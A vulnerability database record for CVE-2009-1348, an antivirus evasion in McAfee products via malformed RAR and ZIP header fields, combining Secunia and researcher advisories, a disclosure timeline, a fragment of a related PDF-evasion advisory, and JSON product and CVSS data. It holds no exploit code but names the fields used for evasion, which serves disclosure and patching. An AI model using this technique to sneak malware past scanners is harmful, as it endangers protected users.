Search
Find a vulnerability
Search criteria
ⓘ
Use this form to refine search results.
Full-text search supports keyword queries with ranking and filtering.
You can combine vendor, product, and sources to narrow results.
Enable “Apply ordering” to sort by date instead of relevance.
5 vulnerabilities found for linuxshield by mcafee
VAR-200904-0511
Vulnerability from variot - Updated: 2023-12-18 13:20The AV engine before DAT 5600 in McAfee VirusScan, Total Protection, Internet Security, SecurityShield for Microsoft ISA Server, Security for Microsoft Sharepoint, Security for Email Servers, Email Gateway, and Active Virus Defense allows remote attackers to bypass virus detection via (1) an invalid Headflags field in a malformed RAR archive, (2) an invalid Packsize field in a malformed RAR archive, or (3) an invalid Filelength field in a malformed ZIP archive. Multiple McAfee products are prone to a vulnerability that may allow certain compressed archives to bypass the scan engine. Successful exploits will allow attackers to distribute files containing malicious code that the antivirus application will fail to detect. The issue affects all McAfee software that uses DAT files. ----------------------------------------------------------------------
Secunia is pleased to announce the release of the annual Secunia report for 2008.
Highlights from the 2008 report: * Vulnerability Research * Software Inspection Results * Secunia Research Highlights * Secunia Advisory Statistics
Request the full 2008 Report here: http://secunia.com/advisories/try_vi/request_2008_report/
Stay Secure,
Secunia
TITLE: McAfee Products Archive Handling Security Bypass
SECUNIA ADVISORY ID: SA34949
VERIFY ADVISORY: http://secunia.com/advisories/34949/
DESCRIPTION: Some weaknesses have been reported in various McAfee products, which can be exploited by malware to bypass the scanning functionality.
The weaknesses are caused due to errors in the handling of archive file formats (e.g.
SOLUTION: Update .DAT files to DAT 5600 or later. http://www.mcafee.com/apps/downloads/security_updates/dat.asp
PROVIDED AND/OR DISCOVERED BY: * Thierry Zoller * The vendor also credits Mickael Roger.
ORIGINAL ADVISORY: McAfee: https://kc.mcafee.com/corporate/index?page=content&id=SB10001&actp=LIST_RECENT
Thierry Zoller: http://blog.zoller.lu/2009/04/mcafee-multiple-bypassesevasions-ziprar.html
About: This Advisory was delivered by Secunia as a free service to help everybody keeping their systems up to date against the latest vulnerabilities.
Subscribe: http://secunia.com/advisories/secunia_security_advisories/
Definitions: (Criticality, Where etc.) http://secunia.com/advisories/about_secunia_advisories/
Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor.
Unsubscribe: Secunia Security Advisories http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org
. ____________
From the low-hanging-fruit-department - Mcafee multiple generic evasions
Release mode: Coordinated but limited disclosure. Ref : TZO-182009 - Mcafee multiple generic evasions WWW : http://blog.zoller.lu/2009/04/mcafee-multiple-bypassesevasions-ziprar.html Vendor : http://www.mcafee.com Status : Patched CVE : CVE-2009-1348 (provided by mcafee) https://kc.mcafee.com/corporate/index?page=content&id=SB10001&actp=LIST_RECENT
Security notification reaction rating : very good Notification to patch window : +-27 days (Eastern holidays in between)
Disclosure Policy : http://blog.zoller.lu/2008/09/notification-and-disclosure-policy.html
Affected products : - McAfee VirusScan\xae Plus 2009 - McAfee Total Protection\x99 2009 - McAfee Internet Security - McAfee VirusScan USB - McAfee VirusScan Enterprise - McAfee VirusScan Enterprise Linux - McAfee VirusScan Enterprise for SAP - McAfee VirusScan Enterprise for Storage - McAfee VirusScan Commandline - Mcafee SecurityShield for Microsoft ISA Server - Mcafee Security for Microsoft Sharepoint - Mcafee Security for Email Servers - McAfee Email Gateyway - McAfee Total Protection for Endpoint - McAfee Active Virus Defense - McAfee Active VirusScan
It is unkown whether SaaS were affected (tough likely) : - McAfee Email Security Service - McAfee Total Protection Service Advanced
I. Background ~~~~~~~~~~~~~ Quote: "McAfee proactively secures systems and networks from known and as yet undiscovered threats worldwide. Home users, businesses, service providers, government agencies, and our partners all trust our unmatched security expertise and have confidence in our comprehensive and proven solutions to effectively block attacks and prevent disruptions."
II. Description
The parsing engine can be bypassed by a specially crafted and formated
RAR (Headflags and Packsize),ZIP (Filelenght) archive.
III. Impact
~~~~~~~~~~~
A general description of the impact and nature of AV Bypasses/evasions
can be read at :
http://blog.zoller.lu/2009/04/case-for-av-bypassesevasions.html
The bug results in denying the engine the possibility to inspect
code within RAR and ZIP archives. There is no inspection of the content
at all and hence the impossibility to detect malicious code.
IV. Disclosure timeline
~~~~~~~~~~~~~~~~~~~~~~~~~
DD/MM/YYYY
04/04/2009 : Send proof of concept RAR I, description the terms under which
I cooperate and the planned disclosure date
06/04/2009 : Send proof of concept RAR II, description the terms under which
I cooperate and the planned disclosure date
06/04/2009 : Mcafee acknowledges receipt and reproduction of RAR I, ack
acknowledges receipt of RARII
10/04/2009 : Send proof of concept ZIP I, description the terms under which
I cooperate and the planned disclosure date
21/04/2009 : Mcafee provides CVE number CVE-2009-1348
28/04/2009 : Mcafee informs me that the patch might be released on the 29th
29/04/2009 : Mcafee confirms patch release and provides URL
https://kc.mcafee.com/corporate/index?page=content&id=SB10001&actp=LIST_RECENT
29/04/2009 : Ask for affected versions
29/04/2009 : Mcafee replies " This issue does affect all vs engine products, including
both gateway and endpoint"
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/. Description
Improper parsing of the PDF structure leads to evasion of detection of malicious PDF documents at scantime and runtime.
This has been tested with several malicious PDF files and represents a generic evasion of all PDF signatures and heuristics.
General information about evasion/bypasses can be found at : http://blog.zoller.lu/2009/04/case-for-av-bypassesevasions.html
III. Impact
Known PDF exploits/malware may evade signature detection, 0day exploits
may evade heuristics. Disclosure timeline
~~~~~~~~~~~~~~~~~~~~~~~~~
DD.MM.YYYY
01.06.2009 - Reported
20.10.2009 - McAfee informed us that they published the advisory on their website
< waiting for others vendors to patch >
27.10.2009 - G-SEC releases this advisory
About G-SEC
G-SEC\x99 is a vendor independent luxemburgish led IT security consulting group. More information available at : http://www.g-sec.lu/
Full-Disclosure - We believe in it. ----------------------------------------------------------------------
Do you have VARM strategy implemented?
(Vulnerability Assessment Remediation Management)
If not, then implement it through the most reliable vulnerability intelligence source on the market.
Implement it through Secunia
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-200904-0511",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "securityshield for microsoft isa server",
"scope": null,
"trust": 1.7,
"vendor": "mcafee",
"version": null
},
{
"model": "active virusscan",
"scope": null,
"trust": 1.7,
"vendor": "mcafee",
"version": null
},
{
"model": "active virus defense",
"scope": null,
"trust": 1.7,
"vendor": "mcafee",
"version": null
},
{
"model": "virusscan enterprise",
"scope": "eq",
"trust": 1.6,
"vendor": "mcafee",
"version": null
},
{
"model": "email gateway",
"scope": null,
"trust": 1.4,
"vendor": "mcafee",
"version": null
},
{
"model": "total protection for endpoint",
"scope": null,
"trust": 1.4,
"vendor": "mcafee",
"version": null
},
{
"model": "virusscan plus",
"scope": "eq",
"trust": 1.3,
"vendor": "mcafee",
"version": "2009"
},
{
"model": "total protection",
"scope": "eq",
"trust": 1.3,
"vendor": "mcafee",
"version": "2009"
},
{
"model": "virusscan command line",
"scope": null,
"trust": 1.1,
"vendor": "mcafee",
"version": null
},
{
"model": "internet security suite",
"scope": "eq",
"trust": 1.0,
"vendor": "mcafee",
"version": "2004"
},
{
"model": "virusscan enterprise",
"scope": "eq",
"trust": 1.0,
"vendor": "mcafee",
"version": "*"
},
{
"model": "securityshield for microsoft sharepoint",
"scope": "eq",
"trust": 1.0,
"vendor": "mcafee",
"version": "*"
},
{
"model": "virusscan usb",
"scope": "eq",
"trust": 1.0,
"vendor": "mcafee",
"version": "*"
},
{
"model": "securityshield for email servers",
"scope": "eq",
"trust": 1.0,
"vendor": "mcafee",
"version": "*"
},
{
"model": "internet security suite",
"scope": "eq",
"trust": 1.0,
"vendor": "mcafee",
"version": "2009"
},
{
"model": "active virus defense",
"scope": "eq",
"trust": 1.0,
"vendor": "mcafee",
"version": "*"
},
{
"model": "internet security suite",
"scope": "eq",
"trust": 1.0,
"vendor": "mcafee",
"version": "2005"
},
{
"model": "active virusscan",
"scope": "eq",
"trust": 1.0,
"vendor": "mcafee",
"version": "*"
},
{
"model": "internet security suite",
"scope": "eq",
"trust": 1.0,
"vendor": "mcafee",
"version": "2006"
},
{
"model": "virusscan commandline",
"scope": "eq",
"trust": 1.0,
"vendor": "mcafee",
"version": "*"
},
{
"model": "internet security suite",
"scope": "eq",
"trust": 1.0,
"vendor": "mcafee",
"version": "*"
},
{
"model": "total protection for endpoint",
"scope": "eq",
"trust": 1.0,
"vendor": "mcafee",
"version": "*"
},
{
"model": "email gateway",
"scope": "eq",
"trust": 1.0,
"vendor": "mcafee",
"version": "*"
},
{
"model": "securityshield for microsoft isa server",
"scope": "eq",
"trust": 1.0,
"vendor": "mcafee",
"version": "*"
},
{
"model": "internet security suite",
"scope": null,
"trust": 0.8,
"vendor": "mcafee",
"version": null
},
{
"model": "security for email servers",
"scope": null,
"trust": 0.8,
"vendor": "mcafee",
"version": null
},
{
"model": "security for microsoft sharepoint",
"scope": null,
"trust": 0.8,
"vendor": "mcafee",
"version": null
},
{
"model": "virusscan enterprise",
"scope": null,
"trust": 0.8,
"vendor": "mcafee",
"version": null
},
{
"model": "virusscan plus",
"scope": null,
"trust": 0.8,
"vendor": "mcafee",
"version": null
},
{
"model": "virusscan usb",
"scope": null,
"trust": 0.8,
"vendor": "mcafee",
"version": null
},
{
"model": "total protection",
"scope": null,
"trust": 0.8,
"vendor": "mcafee",
"version": null
},
{
"model": "virusscan enterprise",
"scope": "eq",
"trust": 0.6,
"vendor": "mcafee",
"version": "0"
},
{
"model": "securityshield for email servers",
"scope": null,
"trust": 0.6,
"vendor": "mcafee",
"version": null
},
{
"model": "securityshield for microsoft sharepoint",
"scope": null,
"trust": 0.6,
"vendor": "mcafee",
"version": null
},
{
"model": "virusscan commandline",
"scope": null,
"trust": 0.6,
"vendor": "mcafee",
"version": null
},
{
"model": "virusscan plus",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "20070"
},
{
"model": "virusscan enterprise i patch",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "8.015"
},
{
"model": "virusscan enterprise i patch",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "8.012"
},
{
"model": "virusscan enterprise i patch",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "8.011"
},
{
"model": "virusscan enterprise i",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "8.0"
},
{
"model": "virusscan enterprise",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "8.0"
},
{
"model": "virusscan enterprise",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "7.1"
},
{
"model": "virusscan",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "2006"
},
{
"model": "virusscan",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "2005"
},
{
"model": "virusscan",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "2004"
},
{
"model": "virex",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "7.7"
},
{
"model": "virex",
"scope": null,
"trust": 0.3,
"vendor": "mcafee",
"version": null
},
{
"model": "total protection",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "20070"
},
{
"model": "portalshield for microsoft sharepoint",
"scope": null,
"trust": 0.3,
"vendor": "mcafee",
"version": null
},
{
"model": "netshield for netware",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "4"
},
{
"model": "netshield for netware",
"scope": null,
"trust": 0.3,
"vendor": "mcafee",
"version": null
},
{
"model": "linuxshield",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "1"
},
{
"model": "linuxshield",
"scope": null,
"trust": 0.3,
"vendor": "mcafee",
"version": null
},
{
"model": "groupshield for lotus domino on windows",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "5"
},
{
"model": "groupshield for lotus domino on aix",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "5"
},
{
"model": "groupshield for lotus domino",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "7"
},
{
"model": "groupshield for lotus domino",
"scope": null,
"trust": 0.3,
"vendor": "mcafee",
"version": null
},
{
"model": "groupshield for exchange",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "5.55.0.964.1"
},
{
"model": "groupshield for exchange",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "5.55.0.902.1"
},
{
"model": "groupshield for exchange",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "5.55.0.1007.1"
},
{
"model": "groupshield for exchange",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "20005"
},
{
"model": "groupshield for exchange",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "6.0"
},
{
"model": "groupshield for exchange",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "5.5"
},
{
"model": "groupshield for exchange",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "6.0.616.102"
},
{
"model": "groupshield for exchange",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "4"
},
{
"model": "virusscan usb",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "0"
},
{
"model": "virusscan professional",
"scope": null,
"trust": 0.3,
"vendor": "mcafee",
"version": null
},
{
"model": "virusscan enterprise linux",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "0"
},
{
"model": "virusscan enterprise for storage",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "0"
},
{
"model": "virusscan enterprise for sap",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "0"
},
{
"model": "total protection for endpoint",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "0"
},
{
"model": "total protection",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "0"
},
{
"model": "security for microsoft sharepoint",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "0"
},
{
"model": "security for email servers",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "0"
},
{
"model": "internet security",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "0"
},
{
"model": "email gateway",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "0"
}
],
"sources": [
{
"db": "BID",
"id": "36848"
},
{
"db": "BID",
"id": "34780"
},
{
"db": "JVNDB",
"id": "JVNDB-2009-004587"
},
{
"db": "NVD",
"id": "CVE-2009-1348"
},
{
"db": "CNNVD",
"id": "CNNVD-200904-560"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:a:mcafee:internet_security_suite:2009:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:mcafee:virusscan_usb:*:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:mcafee:securityshield_for_email_servers:*:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:mcafee:email_gateway:*:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:mcafee:virusscan_plus:2009:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:mcafee:total_protection:2009:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:mcafee:virusscan_enterprise:*:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:mcafee:virusscan_enterprise:-:-:linux:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:mcafee:virusscan_enterprise:-:-:sap:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:mcafee:total_protection_for_endpoint:*:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:mcafee:active_virus_defense:*:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:mcafee:internet_security_suite:2005:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:mcafee:internet_security_suite:2006:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:mcafee:securityshield_for_microsoft_isa_server:*:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:mcafee:securityshield_for_microsoft_sharepoint:*:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:mcafee:internet_security_suite:*:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:mcafee:internet_security_suite:2004:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:mcafee:virusscan_enterprise:-:-:storage:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:mcafee:virusscan_commandline:*:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:mcafee:active_virusscan:*:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "NVD",
"id": "CVE-2009-1348"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Thierry Zoller and Mickael Roger",
"sources": [
{
"db": "BID",
"id": "34780"
},
{
"db": "CNNVD",
"id": "CNNVD-200904-560"
}
],
"trust": 0.9
},
"cve": "CVE-2009-1348",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"acInsufInfo": false,
"accessComplexity": "HIGH",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "NVD",
"availabilityImpact": "COMPLETE",
"baseScore": 7.6,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 4.9,
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"severity": "HIGH",
"trust": 1.0,
"userInteractionRequired": true,
"vectorString": "AV:N/AC:H/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
{
"acInsufInfo": null,
"accessComplexity": "High",
"accessVector": "Network",
"authentication": "None",
"author": "NVD",
"availabilityImpact": "Complete",
"baseScore": 7.6,
"confidentialityImpact": "Complete",
"exploitabilityScore": null,
"id": "CVE-2009-1348",
"impactScore": null,
"integrityImpact": "Complete",
"obtainAllPrivilege": null,
"obtainOtherPrivilege": null,
"obtainUserPrivilege": null,
"severity": "High",
"trust": 0.8,
"userInteractionRequired": null,
"vectorString": "AV:N/AC:H/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
{
"accessComplexity": "HIGH",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "VULHUB",
"availabilityImpact": "COMPLETE",
"baseScore": 7.6,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 4.9,
"id": "VHN-38794",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 0.1,
"vectorString": "AV:N/AC:H/AU:N/C:C/I:C/A:C",
"version": "2.0"
}
],
"cvssV3": [],
"severity": [
{
"author": "NVD",
"id": "CVE-2009-1348",
"trust": 1.8,
"value": "HIGH"
},
{
"author": "CNNVD",
"id": "CNNVD-200904-560",
"trust": 0.6,
"value": "HIGH"
},
{
"author": "VULHUB",
"id": "VHN-38794",
"trust": 0.1,
"value": "HIGH"
}
]
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-38794"
},
{
"db": "JVNDB",
"id": "JVNDB-2009-004587"
},
{
"db": "NVD",
"id": "CVE-2009-1348"
},
{
"db": "CNNVD",
"id": "CNNVD-200904-560"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "The AV engine before DAT 5600 in McAfee VirusScan, Total Protection, Internet Security, SecurityShield for Microsoft ISA Server, Security for Microsoft Sharepoint, Security for Email Servers, Email Gateway, and Active Virus Defense allows remote attackers to bypass virus detection via (1) an invalid Headflags field in a malformed RAR archive, (2) an invalid Packsize field in a malformed RAR archive, or (3) an invalid Filelength field in a malformed ZIP archive. Multiple McAfee products are prone to a vulnerability that may allow certain compressed archives to bypass the scan engine. \nSuccessful exploits will allow attackers to distribute files containing malicious code that the antivirus application will fail to detect. \nThe issue affects all McAfee software that uses DAT files. ----------------------------------------------------------------------\n\nSecunia is pleased to announce the release of the annual Secunia\nreport for 2008. \n\nHighlights from the 2008 report:\n * Vulnerability Research\n * Software Inspection Results\n * Secunia Research Highlights\n * Secunia Advisory Statistics\n\nRequest the full 2008 Report here:\nhttp://secunia.com/advisories/try_vi/request_2008_report/\n\nStay Secure,\n\nSecunia\n\n\n----------------------------------------------------------------------\n\nTITLE:\nMcAfee Products Archive Handling Security Bypass\n\nSECUNIA ADVISORY ID:\nSA34949\n\nVERIFY ADVISORY:\nhttp://secunia.com/advisories/34949/\n\nDESCRIPTION:\nSome weaknesses have been reported in various McAfee products, which\ncan be exploited by malware to bypass the scanning functionality. \n\nThe weaknesses are caused due to errors in the handling of archive\nfile formats (e.g. \n\nSOLUTION:\nUpdate .DAT files to DAT 5600 or later. \nhttp://www.mcafee.com/apps/downloads/security_updates/dat.asp\n\nPROVIDED AND/OR DISCOVERED BY:\n* Thierry Zoller\n* The vendor also credits Mickael Roger. \n\nORIGINAL ADVISORY:\nMcAfee:\nhttps://kc.mcafee.com/corporate/index?page=content\u0026id=SB10001\u0026actp=LIST_RECENT\n\nThierry Zoller:\nhttp://blog.zoller.lu/2009/04/mcafee-multiple-bypassesevasions-ziprar.html\n\n----------------------------------------------------------------------\n\nAbout:\nThis Advisory was delivered by Secunia as a free service to help\neverybody keeping their systems up to date against the latest\nvulnerabilities. \n\nSubscribe:\nhttp://secunia.com/advisories/secunia_security_advisories/\n\nDefinitions: (Criticality, Where etc.)\nhttp://secunia.com/advisories/about_secunia_advisories/\n\n\nPlease Note:\nSecunia recommends that you verify all advisories you receive by\nclicking the link. \nSecunia NEVER sends attached files with advisories. \nSecunia does not advise people to install third party patches, only\nuse those supplied by the vendor. \n\n----------------------------------------------------------------------\n\nUnsubscribe: Secunia Security Advisories\nhttp://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org\n\n----------------------------------------------------------------------\n\n\n. ________________________________________________________________________\n\nFrom the low-hanging-fruit-department - Mcafee multiple generic evasions\n________________________________________________________________________\n\nRelease mode: Coordinated but limited disclosure. \nRef : TZO-182009 - Mcafee multiple generic evasions\nWWW : http://blog.zoller.lu/2009/04/mcafee-multiple-bypassesevasions-ziprar.html\nVendor : http://www.mcafee.com\nStatus : Patched\nCVE : CVE-2009-1348 (provided by mcafee)\nhttps://kc.mcafee.com/corporate/index?page=content\u0026id=SB10001\u0026actp=LIST_RECENT\n\nSecurity notification reaction rating : very good\nNotification to patch window : +-27 days (Eastern holidays in between)\n\nDisclosure Policy : \nhttp://blog.zoller.lu/2008/09/notification-and-disclosure-policy.html\n\nAffected products : \n- McAfee VirusScan\\xae Plus 2009\n- McAfee Total Protection\\x99 2009\n- McAfee Internet Security\n- McAfee VirusScan USB\n- McAfee VirusScan Enterprise\n- McAfee VirusScan Enterprise Linux\n- McAfee VirusScan Enterprise for SAP\n- McAfee VirusScan Enterprise for Storage\n- McAfee VirusScan Commandline\n- Mcafee SecurityShield for Microsoft ISA Server\n- Mcafee Security for Microsoft Sharepoint\n- Mcafee Security for Email Servers\n- McAfee Email Gateyway\n- McAfee Total Protection for Endpoint\n- McAfee Active Virus Defense\n- McAfee Active VirusScan\n \nIt is unkown whether SaaS were affected (tough likely) :\n- McAfee Email Security Service\n- McAfee Total Protection Service Advanced\n\n\nI. Background\n~~~~~~~~~~~~~\nQuote: \"McAfee proactively secures systems and networks from known \nand as yet undiscovered threats worldwide. Home users, businesses, \nservice providers, government agencies, and our partners all trust \nour unmatched security expertise and have confidence in our \ncomprehensive and proven solutions to effectively block attacks\nand prevent disruptions.\"\n\n\nII. Description\n~~~~~~~~~~~~~~~\nThe parsing engine can be bypassed by a specially crafted and formated\nRAR (Headflags and Packsize),ZIP (Filelenght) archive. \n\nIII. Impact\n~~~~~~~~~~~\nA general description of the impact and nature of AV Bypasses/evasions\ncan be read at : \nhttp://blog.zoller.lu/2009/04/case-for-av-bypassesevasions.html\n\nThe bug results in denying the engine the possibility to inspect\ncode within RAR and ZIP archives. There is no inspection of the content\nat all and hence the impossibility to detect malicious code. \n\n\nIV. Disclosure timeline\n~~~~~~~~~~~~~~~~~~~~~~~~~\nDD/MM/YYYY\n04/04/2009 : Send proof of concept RAR I, description the terms under which \n I cooperate and the planned disclosure date\n \n06/04/2009 : Send proof of concept RAR II, description the terms under which \n I cooperate and the planned disclosure date\n \n06/04/2009 : Mcafee acknowledges receipt and reproduction of RAR I, ack\n acknowledges receipt of RARII \n \n10/04/2009 : Send proof of concept ZIP I, description the terms under which \n I cooperate and the planned disclosure date\n\n21/04/2009 : Mcafee provides CVE number CVE-2009-1348 \n \n28/04/2009 : Mcafee informs me that the patch might be released on the 29th\n29/04/2009 : Mcafee confirms patch release and provides URL\n https://kc.mcafee.com/corporate/index?page=content\u0026id=SB10001\u0026actp=LIST_RECENT\n \n29/04/2009 : Ask for affected versions\n\n29/04/2009 : Mcafee replies \" This issue does affect all vs engine products, including \n both gateway and endpoint\"\n\n\n\n\n\n_______________________________________________\nFull-Disclosure - We believe in it. \nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/. Description\n~~~~~~~~~~~~~~~\nImproper parsing of the PDF structure leads to evasion of detection of \nmalicious PDF documents at scantime and runtime. \n \nThis has been tested with several malicious PDF files and represents\na generic evasion of all PDF signatures and heuristics. \n\nGeneral information about evasion/bypasses can be found at :\nhttp://blog.zoller.lu/2009/04/case-for-av-bypassesevasions.html\n\nIII. Impact\n~~~~~~~~~~~\nKnown PDF exploits/malware may evade signature detection, 0day exploits\nmay evade heuristics. Disclosure timeline\n~~~~~~~~~~~~~~~~~~~~~~~~~\nDD.MM.YYYY\n01.06.2009 - Reported \n20.10.2009 - McAfee informed us that they published the advisory on their website\n\u003c waiting for others vendors to patch \u003e\n27.10.2009 - G-SEC releases this advisory\n\nAbout G-SEC\n~~~~~~~~~~~\nG-SEC\\x99 